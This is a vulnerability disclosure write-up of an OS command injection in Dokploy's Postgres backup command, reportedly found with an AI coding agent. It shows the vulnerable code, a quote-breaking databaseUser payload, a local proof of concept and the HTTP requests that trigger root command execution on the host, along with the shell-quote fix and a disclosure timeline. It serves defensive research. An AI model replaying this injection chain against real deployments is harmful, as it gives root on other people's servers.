# From Admin Panel to Root Shell: OS Command Injection in Dokploy's Backup Pipeline Using Codex Security

I spent an afternoon pointing Codex, running on GPT-5.6-Sol, at a 37k-star self-hosted PaaS and walked away with an unauthenticated-looking path to root on the host. It wasn't actually unauthenticated (you still need an admin account), but "admin of your own app deployment panel" and "root on the box running Docker for your entire infrastructure" should never be the same privilege level. In Dokploy, they are.

This is the story of how a single unescaped shell variable in a PostgreSQL backup command turns into full host compromise. More than anything, though, it's the story of how Codex found it. I didn't start this session by reading `backups/utils.ts` myself; Codex found that file, flagged the exact unsanitized sink, and got me to the vulnerable line before I'd read more than a handful of files by hand. I treated Codex, OpenAI's CLI coding agent running the GPT-5.6-Sol model, less like an autocomplete tool and more like a very fast, very literal pair-reviewer who never gets bored of reading `child_process.exec` call sites. In this case, that reviewer is the one who surfaced the bug.

## Background: why Dokploy

Dokploy is an open-source, self-hostable Platform-as-a-Service, pitched explicitly as "the open source alternative to Vercel, Netlify and Heroku." You point it at a VPS, and it manages Docker Compose stacks, databases (Postgres, MySQL, MariaDB, MongoDB, Redis, libSQL), Traefik routing, backups, and multi-node Swarm clusters for you. It's sitting at ~37.3k GitHub stars and growing fast, which makes it a genuinely attractive target: it's the kind of software people install once on a fresh VPS and then trust with everything: SSH keys, database credentials, TLS certificates, every container on the box.

That trust model is exactly why it's interesting from an offensive angle. Dokploy's entire value proposition is "give us root-equivalent access to your Docker host, and we'll orchestrate it for you." If the boundary between "authenticated app-panel user" and "the Dokploy process itself" is soft anywhere, the blast radius covers the whole host, not just a single tenant.

So the question I went in with wasn't whether there was a bug. With software gluing together `docker exec`, `pg_dump`, `rclone`, and Traefik config generation via shell strings, there's almost always a bug somewhere. What I wanted to know was how many places, and how bad.

## Tooling: how Codex found the bug

I ran this as a static-analysis-only exercise: no live target, no dynamic exploitation against anything but my own local containers. I also want to be specific about credit here, because this wasn't a case of me having a hunch and Codex confirming it. Codex generated the hunch in the first place.

The model doing the work was GPT-5.6-Sol, run through Codex's CLI in security-review mode and pointed at the full Dokploy repository. My prompting was deliberately broad rather than targeted; I didn't already know `backups/utils.ts` existed when the session started. I asked Codex to walk the codebase the way a source-review-focused human would, just faster and without getting tired of grepping:

*   Where does user input enter the system? (tRPC routers, Zod schemas, form fields)
    
*   Which of those values eventually reach a shell: `exec`, `execAsync`, `spawn` with `shell: true`?
    
*   For each one: is there validation between the source and the sink, or just a `z.string().min(1)`?
    

Within that first pass, Codex enumerated every `child_process` sink in the server package, cross-referenced them against the tRPC input schemas feeding into each call, and ranked them by how thin the validation looked. It surfaced `packages/server/src/utils/backups/utils.ts` near the top of that list, flagged the exact `${databaseUser}` interpolation as unsanitized, and pointed directly at the `z.string().min(1)` schema as the "validation" that wasn't one. Grep can find a file with `exec` in it; what Codex did was connect a specific untrusted input field to a specific shell sink and name the missing control, in one pass, across a codebase I had never opened before that session.

Codex is not a vulnerability oracle, and I didn't treat its output as a finished report. It's good at the boring-but-essential part of source review: tracing a value across five files without losing patience, and doing it exhaustively instead of sampling a few call sites. It's weaker at judging exploitability or blast radius on its own, so every candidate it surfaced, I re-derived by hand afterward: read the schema, read the sink, built the exact malicious string, and reasoned about what shell context it would land in. But the discovery itself, narrowing a 36k-star, multi-hundred-file repository down to the one file and the one line worth spending an afternoon on, was Codex's doing. Without it, this is a multi-day manual grep exercise. With it, the vulnerable line was the first thing flagged in the first pass.

## The backup pipeline, and how it builds commands

Dokploy lets you configure a scheduled (or manual) backup for any database service you run through it. Under the hood, backups are implemented as shell command strings, built with template literals, then executed on the host via Node's `child_process.exec`:

```typescript
// packages/server/src/utils/backups/postgres.ts
await execAsync(backupCommand, { shell: "/bin/bash" });
```

`execAsync` is `util.promisify(exec)`, the classic shell-injection sink. It doesn't matter how careful the *rest* of the app is if even one string handed to this function contains an unescaped value from user input.

The command itself is built here:

```typescript
// packages/server/src/utils/backups/utils.ts:78-82
export const getPostgresBackupCommand = (
    database: string,
    databaseUser: string,
) => {
    return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U ${databaseUser} --no-password '${database}' | gzip"`;
};
```

Look at `${databaseUser}`: no quoting, no escaping, just dropped straight into a double-quoted `bash -c "..."` argument, which is itself embedded inside an *outer* host-level bash script that looks roughly like this:

```bash
BACKUP_OUTPUT=$(docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump ... -U ${databaseUser} ..." 2>&1 >/dev/null) || { ... }
```

And the schema validating `databaseUser` at creation time? I went and checked:

```typescript
// packages/server/src/db/schema/postgres.ts
databaseUser: z.string().min(1),  // that's it. that's the whole check.
```

A minimum length of one character: no character class restriction, no regex, nothing that would stop you from putting a `"` or a `;` in there. At this point I didn't need Codex to tell me this was exploitable; the shape of the bug was staring right at me:

> `databaseUser` sits inside a double-quoted string, inside a command substitution `$(...)`. If I can put a `"` in `databaseUser`, I close the inner `bash -c "..."` string early. Whatever comes after that `"`, up to the next unescaped `"`, is no longer inside `pg_dump`'s argument. It's a new command in the outer host shell.

## Building the payload

The target string I needed to construct: something that closes the quote, injects a command, and then re-opens a quote context so the rest of the original command line doesn't blow up with a syntax error and get silently swallowed before my payload runs.

```plaintext
sa"; touch /tmp/rce; echo "ok
```

Walking through what that does once substituted into the template:

```bash
BACKUP_OUTPUT=$(docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U sa"; touch /tmp/rce; echo "ok --no-password 'testdb' | gzip" 2>&1 >/dev/null) || true
```

Reading it left to right the way bash does:

1.  `bash -c "set -o pipefail; pg_dump ... -U sa"`: a syntactically complete (if pointless) `docker exec` invocation. It runs, probably errors out, and it doesn't matter.
    
2.  `;`: a command separator, in the outer host shell, not inside any container.
    
3.  `touch /tmp/rce`: this is my payload. It runs directly on the machine hosting Dokploy.
    
4.  `;`: another separator.
    
5.  `echo "ok --no-password 'testdb' | gzip"`: a throwaway `echo` that soaks up the rest of the original template so the line doesn't error out.
    

Nothing in step 3 touches Docker at all. It's a raw command on the host, running as whatever user the Dokploy process runs as, which in a standard deployment is root.

## Proof of concept

I built and ran this exact line locally, using a placeholder container ID to confirm the injection fires independently of whether the `docker exec` itself succeeds:

```bash
CONTAINER_ID=__NONEXISTENT__
BACKUP_OUTPUT=$(docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U sa"; touch /tmp/DOKPLOY_HOST_RCE; echo "ok --no-password 'testdb' | gzip" 2>&1 >/dev/null) || true
ls -la /tmp/DOKPLOY_HOST_RCE
```

Output:

```plaintext
Error response from daemon: No such container: __NONEXISTENT__
-rw-rw-r-- 1 kali kali 0 Jun 28 11:41 /tmp/DOKPLOY_HOST_RCE
```

`docker exec` failed exactly like you'd expect (the container doesn't exist), but the injected `touch` ran anyway and left a file sitting on the host. That's the whole bug in one terminal output: the injected command doesn't depend on the legitimate command succeeding. In a real deployment the target container does exist, so both the intended `pg_dump` invocation *and* the injected host command execute.

### The full attack, end to end

**Prerequisites**: an authenticated admin or owner account on a Dokploy organization (owner/admin roles bypass Dokploy's resource-level access checks by design).

**1\. Create a Postgres service with a weaponized** `databaseUser`**:**

```http
POST /api/trpc/postgres.create
Content-Type: application/json

{
  "name": "mydb",
  "databaseUser": "sa\"; id > /tmp/rce-proof; echo \"ok",
  "databaseName": "postgres",
  "databasePassword": "Passw0rd@123",
  "environmentId": "<valid-env-id>"
}
```

**2\. Attach a backup schedule** pointing at any configured destination (even a fake or unreachable one: the backup command still runs and still hits the injection before it ever needs a working destination).

**3\. Fire the backup**, manually or by waiting for the cron:

```http
POST /api/trpc/backup.manualBackupPostgres
Content-Type: application/json

{ "backupId": "<backup-id>" }
```

**4\. On the host**, the injected `id > /tmp/rce-proof` executes with the privileges of the Dokploy process: `uid=0(root) gid=0(root)` in the standard deployment.

No exotic timing, no race condition, no second-order trigger required. Create the resource, attach a schedule, click backup: that's the entire chain.

## This wasn't the only vector

Once I had the shape of the bug (a user-controlled field going into a shell template literal, executed via `execAsync`), I went back to Codex with a narrower, pattern-specific prompt: find every other place in the repository where the same shape of code appears, a template-literal-built shell command fed by a value that traces back to a tRPC input. Rather than grepping the rest of `backups/utils.ts` line by line myself, Codex, still running GPT-5.6-Sol, re-ran its source-to-sink tracing against that specific signature across the whole file and reported back two additional call sites. It's the classic story with command-construction-via-template-literal codebases: if you find one, you find a family. Having the agent re-sweep for the exact same pattern is what turned one bug into one root cause with three sinks, inside the same afternoon instead of a second multi-day review pass.

In the same file, `getLibsqlBackupCommand()` interpolates the database name with zero quoting at all, not even the broken double-quote wrapping `databaseUser` gets, and the S3 destination credentials feeding `rclone` (`endpoint`, `accessKey`, `secretAccessKey`, `region`) are wrapped in double quotes that a single `"` character in any of those fields breaks straight through. Same root cause, different sink, and the same missing `shell-quote` call that Dokploy already has as a dependency and already uses correctly elsewhere in the codebase (`docker-file.ts`), just not here.

I ended up filing this as three related vectors under one advisory rather than three separate reports, since they share a single root cause and a single fix.

## Impact

CVSS 3.1 score: 8.0 (`AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H`)

**Scope**: Changed is the detail that matters most here. This isn't privilege escalation within Dokploy's own permission model; it's a complete escape from "authenticated app admin" to root on the physical or virtual machine, taking every other tenant's containers, secrets, and certificates with it. On a shared or multi-tenant Dokploy install, one malicious or compromised admin account is enough to own the entire box.

## Root cause, and the fix that should ship

The pattern repeats across every affected function: build a shell command with a template literal, interpolate user-controlled data directly, execute with `child_process.exec` and a real shell. The library needed to fix this, `shell-quote`, is already in `package.json` and already used correctly elsewhere in the codebase. It just wasn't applied here.

```typescript
import { quote } from "shell-quote";

export const getPostgresBackupCommand = (
    database: string,
    databaseUser: string,
) => {
    const safeUser = quote([databaseUser]);
    const safeDb = quote([database]);
    return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U ${safeUser} --no-password ${safeDb} | gzip"`;
};
```

`shell-quote` wraps the value in single quotes and escapes any embedded single quotes, which neutralizes `;`, `"`, `$()`, backticks, and every other shell metacharacter an attacker could smuggle through `databaseUser`. As defense in depth, the underlying Zod schema should also reject anything outside a safe identifier character class (`^[a-zA-Z0-9_][a-zA-Z0-9_-]*$`), belt and suspenders, since "the string that becomes your Postgres username" has no legitimate reason to contain a semicolon in the first place.

The more durable fix is architectural: stop building shell strings with template literals at all, and switch to `execFile`/`spawn` with an argument array. Arguments passed that way are never re-interpreted by a shell, so there's no quoting to get wrong.

## Disclosure status

| Date | Event |
| --- | --- |
| 2026-06-28 | Vulnerability discovered via static review, confirmed dynamically against a local test environment |
| 2026-06-28 | Private security advisory submitted to the maintainers ([GHSA-p2c7-8j28-c7gq](https://github.com/Dokploy/dokploy/security/advisories/GHSA-p2c7-8j28-c7gq)) |
| 2026-07-22 | Accepted report, published report, CVE-2026-72878 |

## Takeaways

For developers building on `child_process.exec`: if a value in your shell command didn't come from a hardcoded string or a value you generated yourself, it needs to go through proper argument-array execution (`execFile`/`spawn`) or explicit shell-quoting before it touches a template literal, every time, no exceptions, even for "just a database username." `shell-quote` was already a dependency, already used correctly elsewhere in this exact codebase, and still wasn't applied here. Consistency of pattern matters as much as knowing the pattern exists.

For researchers using AI coding agents for source review: treat the agent as a tracer, not a verdict, but don't undersell what the tracing step is worth. Codex, running GPT-5.6-Sol, is the reason this finding exists at all. It enumerated shell sinks across a repository I'd never opened, cross-referenced them against input schemas, and pointed at the unsanitized field on the first pass, then turned that single finding into three related sinks with a second targeted prompt. Everything I did by hand afterward (does this quoting actually break, does this reach a real sink, what's the actual blast radius) is what turns a Codex-flagged candidate into a real finding instead of noise. But it's downstream of Codex doing the search that made the candidate visible in the first place.

For anyone running self-hosted PaaS tooling: "admin of the panel" and "root on the host" being the same trust boundary is a design decision, not an inevitability. If your deployment tooling runs as root and executes any user-influenced value through a shell, ask where the quoting happens, and don't assume the answer is "everywhere it needs to."

## See more from this target, found in the same Codex Security review

*   OS Command Injection ([CVE-2026-72736](https://github.com/Dokploy/dokploy/security/advisories/GHSA-4mfc-grxw-6858))
    
*   OS Command Injection ([CVE-2026-72862](https://github.com/Dokploy/dokploy/security/advisories/GHSA-6jrh-8qmg-jj3p))
    

* * *
